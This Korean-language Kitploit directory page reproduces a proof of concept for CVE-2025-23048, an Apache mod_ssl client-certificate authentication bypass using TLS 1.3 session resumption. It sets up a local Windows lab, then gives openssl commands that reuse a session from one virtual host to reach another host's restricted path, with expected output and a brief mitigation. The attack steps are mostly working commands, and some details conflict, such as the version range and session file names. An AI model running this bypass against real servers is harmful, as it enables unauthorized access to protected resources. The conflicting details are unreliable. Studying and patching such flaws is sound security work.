Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-23048-POC — Apache HTTP Server 2.4.35 – 2.4.63 버전은 서로 다른 `SSLCACertificateFile` 지시문을 사용하는 가상 호스트 간에 TLS 1.3 세션 재개가 사용될 때 클라이언트 인증서 인증 우회에 취약합니다. | Kitploit
도구/GitHubGitHub/absholi7ly/cve-2025-23048-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubabsholi7ly/cve-2025-23048-poc

CVE-2025-23048-POC

Apache HTTP Server 2.4.35 – 2.4.63 버전은 서로 다른 `SSLCACertificateFile` 지시문을 사용하는 가상 호스트 간에 TLS 1.3 세션 재개가 사용될 때 클라이언트 인증서 인증 우회에 취약합니다.

저장소 보기
410개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-23048: Apache mod_ssl TLS 1.3 세션 재개 클라이언트 인증서 우회

Apache HTTP Server 2.4.35 – 2.4.62 버전은 서로 다른 SSLCACertificateFile 지시문을 사용하는 가상 호스트 간에 TLS 1.3 세션 재개가 사용될 때 클라이언트 인증서 인증 우회에 취약합니다.

공격자는 한 가상 호스트에 대해 유효한 클라이언트 인증서를 가지고 있는 상태에서, 별개의 CA가 발급한 인증서를 요구하는 다른 가상 호스트에서 TLS 1.3 세션을 재개하여 보호된 리소스에 무단으로 접근할 수 있습니다.


테스트 환경

  • Apache HTTP Server: 2.4.57 (Win64)
  • 운영 체제: Windows 10 (64-bit)

서버 설정

1. Apache 2.4.57 (Win64) 설치

root@kitploit:~

Download from: https://www.apachelounge.com/download/VS16/binaries/httpd-2.4.57-win64-VS16.zip

Extract to C:\Apache24

root@kitploit:~

2. conf\httpd.conf에서 필수 모듈 활성화

root@kitploit:~
LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
LoadModule ssl_module modules/mod_ssl.so

3. SSL 세션 캐시 구성

root@kitploit:~
SSLSessionCache "shmcb:C:/Apache24/logs/ssl_scache(512000)"
SSLSessionCacheTimeout 300
SSLSessionTickets on

4. SSL 디렉터리 생성 및 인증서 생성

root@kitploit:~
cd C:\Apache24\conf
mkdir ssl
cd ssl

# Server cert (self-signed)
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost"

# CA1 and client cert for vhost1
openssl req -x509 -newkey rsa:2048 -keyout ca1.key -out ca1.pem -days 365 -nodes -subj "/CN=CA1"
openssl req -newkey rsa:2048 -keyout client_ca1.key -out client_ca1.csr -nodes -subj "/CN=Client1"
openssl x509 -req -in client_ca1.csr -CA ca1.pem -CAkey ca1.key -CAcreateserial -out client_ca1.crt -days 365

# CA2 for vhost2
openssl req -x509 -newkey rsa:2048 -keyout ca2.key -out ca2.pem -days 365 -nodes -subj "/CN=CA2"

# Cleanup
del client_ca1.csr *.srl

5. 가상 호스트 구성 (conf\extra\httpd-vhosts.conf)

root@kitploit:~
<VirtualHost *:443>
    ServerName vhost1.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost1"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca1.pem"
    SSLVerifyClient optional
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location />
        Require ssl-verify-client
    </Location>
</VirtualHost>

<VirtualHost *:443>
    ServerName vhost2.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost2"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca2.pem"

    SSLVerifyClient optional_no_ca
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location /restricted>
        Require valid-user
    </Location>
</VirtualHost>

6. 보호된 콘텐츠 생성

root@kitploit:~
mkdir C:\Apache24\htdocs\vhost1
echo <html><body>Vhost1: Accessible with CA1</body></html> > C:\Apache24\htdocs\vhost1\index.html

mkdir C:\Apache24\htdocs\vhost2\restricted
echo <html><body>Restricted: Vhost2 Secret!</body></html> > C:\Apache24\htdocs\vhost2\restricted\index.html

7. Apache 시작

root@kitploit:~
C:\Apache24\bin>httpd.exe -k install
C:\Apache24\bin>httpd.exe -k start

개념 증명

1단계: vhost1과 전체 핸드셰이크 → 세션 저장

root@kitploit:~
openssl s_client -servername vhost1.example.com -tls1_3 -cert "C:\Apache24\conf\ssl\client_ca1.crt" -key "C:\Apache24\conf\ssl\client_ca1.key" -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_out session_v1.pem 127.0.0.1:443

연결 후 입력:

root@kitploit:~
GET / HTTP/1.1
Host: vhost1.example.com

Apache

예상 출력 (일부):

root@kitploit:~
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
...
Post-Handshake New Session Ticket arrived:
...
HTTP/1.1 200 OK
...
<html><body>Vhost1: Accessible with CA1</body></html>

세션 티켓이 session_shared.pem에 저장되었습니다.


2단계: vhost2에서 세션 재개 → 보호된 경로 접근

root@kitploit:~
openssl s_client -servername vhost2.example.com -tls1_3 -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_in session_v1.pem 127.0.0.1:443

입력:

root@kitploit:~
GET /restricted/ HTTP/1.1
Host: vhost2.example.com

예상 출력 (중요):

root@kitploit:~
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Resumption PSK: ...
    TLS session ticket lifetime hint: 300 (seconds)
...
HTTP/1.1 200 OK
...
<html><body>Restricted: Vhost2 Secret!</body></html>

Apache

CA1의 클라이언트 인증서가 vhost2(CA2만 신뢰하는)에서 허용되었습니다
재인증이 발생하지 않았습니다 — 세션 재개로 CA 검사를 우회했습니다


완화 조치

root@kitploit:~
SSLStrictSNIVHostCheck on

서로 다른 클라이언트 CA를 요구하는 모든 TLS 1.3 가상 호스트에 적용합니다.

크로스-SNI 세션 재개를 비활성화하여 우회를 방지합니다.


도구 다운로드